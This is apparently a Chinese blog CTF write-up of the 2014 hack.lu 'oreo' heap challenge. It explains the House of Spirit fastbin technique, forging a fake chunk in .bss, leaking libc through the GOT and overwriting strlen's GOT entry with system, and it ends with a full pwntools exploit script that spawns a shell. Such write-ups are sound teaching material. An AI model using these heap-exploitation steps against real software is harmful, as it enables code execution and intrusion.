【PWN · heap | House Of Spirit】2014_hack.lu_oreo

呜呜呜,时隔多个月,继续学pwn

目录

前言

零、House Of Spirit介绍

一、题目分析

二、调试过程

1.泄露libc

2.大量add设置fake chunk的size合法

3.message 构造fake chunk的next chunk合法,绕过检测

4.order释放,将fake chunk放到fast bin中,等待add返回

5.修改notice指针,指向got表

6.通过message,修改notice指向的区域(got表,这里是strlen的got表)

三、exp 


前言

将chunk劫持到指定位置,能够大有作为,而House Of Spirit的目的就是这一点。最初了解仅是了解,通过本题,对于利用手法的利用,感悟更为深入。


零、House Of Spirit介绍

House of Spirit 是 the Malloc Maleficarum 中的一种技术。

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • 1、fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理 IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位
  • 2、fake chunk 地址需要对齐, MALLOC_ALIGN_MASK 因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX0或0xXXXX4。64位的话地址就应该在0xXXXX0或0xXXXX8
  • 3、fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐 fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置
  • 4、fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。最大不能超过av->system_mem,即128kb。next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小雨128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk
  • 5、fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况 这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断

想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测

一、题目分析

首先查看保护信息

我们可以往劫持got表的方向考虑

(图片来自好好说话系列博客)

一方面,这种长度可以控制物理临近chunk的控制字段;然而不可忽视的是,如果结构中有关键指针,通过溢出覆盖指针位为指定值,则很有可能得到任意地址读写执行等效果。

实际上,next就是一个指针,起到的效果是,将一块块申请到的rifle结构体,以链接的形式存储。next指向下一块结构体。

该怎么利用呢?不妨先看看其他功能。

free会将链接起来的结构体全部free,直到遇到next=NULL

结合main函数中对notice的赋值

因此,不难发现,最初的notice指针,是往临近自己的一块全局变量数组区域中,写信息。

再看看其他函数功能

试想我们能够伪造结构体指针,那么就可以把结构体指针指向区域偏移0x0和偏移0x19的地方连续读取信息。

show_state函数似乎没什么用,但是其中涉及到的变量——rifle_cnt以及order_num分别在add和order时自增1。或者说,这两个值的大小,我们愿意的话,是可以被我们控制的!

不容忽视的是,这两个全局变量,在内存布局上和其他全局变量的位置关系!

对整个程序有了基本了解之后,我们考虑如何劫持got表。

  1. libc如何泄露?(获得system、binsh)
  2. 如何修改?

泄露需要读权限——伪造结构体指针?!

修改——①message指针具有写权限 ②结构体指针在创建时具有写权限

综上,可以利用House Of Spirit手法,实现上述目标。

大致流程如下

  1. 泄露libc:利用创建结构体时的堆溢出漏洞,覆盖next指针为got表地址,这样在show_rifle时,会将最后一个next指针指向的区域,也即got表内容泄露出来
  2. 修改got表:
    1. 由于order_num、rifle_cnt、notice、unk_804a2c0这四个全局变量的位置关系,以及本身特性,可以构造fake chunk
    2. 首先将rifle_cnt的值通过反复add,控制到指定大小(0x41)作为fake chunk的size域。
    3. 再add一个结构体,并通过溢出修改next指针为fake chunk区域,具体位置详见d
    4. 为了链条free时,free fake chunk 有效,还需要将fake chunk的next chunk的size域控制到合理大小,而message具有写权限,且由于相对距离关系,可以通过message来构造
      1. 注意:fake chunk的next域需要设为NULL!当时卡了好久
      2. fake chunk的next域需要大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
    5. 通过order free掉所有结构体,注意,最后一个被free的结构体是构造的fake chunk!
    6. 通过add,可以获取fake chunk,注意,此时fake chunk是在bss段上,且创建时具有的写权限,可以修改notice值!——这就好比notice所在的指针具有写权限,而notice是手,我们可以控制手的位置,实现任意地址写的权限!——通过add时复写notice值为got表地址
    7. 然后再次通过message,实现修改got表的目的。

至此,可通过键入b’/bin/sh\x00’来getshell!

二、调试过程

细致地了解,每一步发生什么,最终getshell,对于整体的理解,是非常重要的。

这是一个很美妙的过程,

1.泄露libc

2.大量add设置fake chunk的size合法

3.message 构造fake chunk的next chunk合法,绕过检测

4.order释放,将fake chunk放到fast bin中,等待add返回

5.修改notice指针,指向got表

6.通过message,修改notice指向的区域(got表,这里是strlen的got表)

这是因为,修改为 p32(system)+b';/bin/sh\x00'

已经通过构造的system(’/bin/sh\x00’),getshell

三、exp

from pwn import *
from LibcSearcher import *
context(arch='i386',log_level='debug')

io=process('./pwn')
elf=ELF('./pwn')
def add(name,description):
    # io.recvuntil(b'Action:')
    io.sendline(b'1')
    io.sendline(name)
    io.sendline(description)
def show_rifles():
    # io.recvuntil(b'Action:')
    io.sendline(b'2')
def free_order():
    # io.recvuntil(b'Action:')
    io.sendline(b'3')
def message(msg):
    io.sendline(b'4')
    io.sendline(msg)
gdb.attach(io);input('[+]gdb attached!')

#########泄露libc
puts_got=elf.got['puts']
add(b'a'*27+p32(puts_got),b'leak libc')
show_rifles()
puts_real=u32(io.recvuntil(b'\xf7')[-4:])
success('puts:'+hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
success('system:'+hex(system))
success('binsh:'+hex(binsh))
input('[!]check!')

#########控制size字段
head=0x804A288 
rifle_cnt=0x804A2A4 
for i in range(0x40-1):
    # add(b'a'*27+p32(0),b'b')
    add(b'a',b'padding')
add(b'a'*27+p32(rifle_cnt+4),b'b')
input('[!]check!')

#########控制next chunk字段,合法绕过检测
payload=b'a'*(0x38-(0x804A2C0-0x804A2A8)-0x4)+p32(0)+p32(0)+p32(0x41)
message(payload)
input('[!]check!')

#########将fake chunk放到fastbin中
free_order()
input('[!]check!')

#########修改notice指针,指向strlen_got
add(b'a',p32(elf.got['strlen']))
input('[!]check!')

#########劫持got表为system,并输入/bin/sh\x00参数
message(p32(system)+b';/bin/sh\x00')
input('[!]check!!')

#########getshell!!!
io.interactive()
  • 20
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值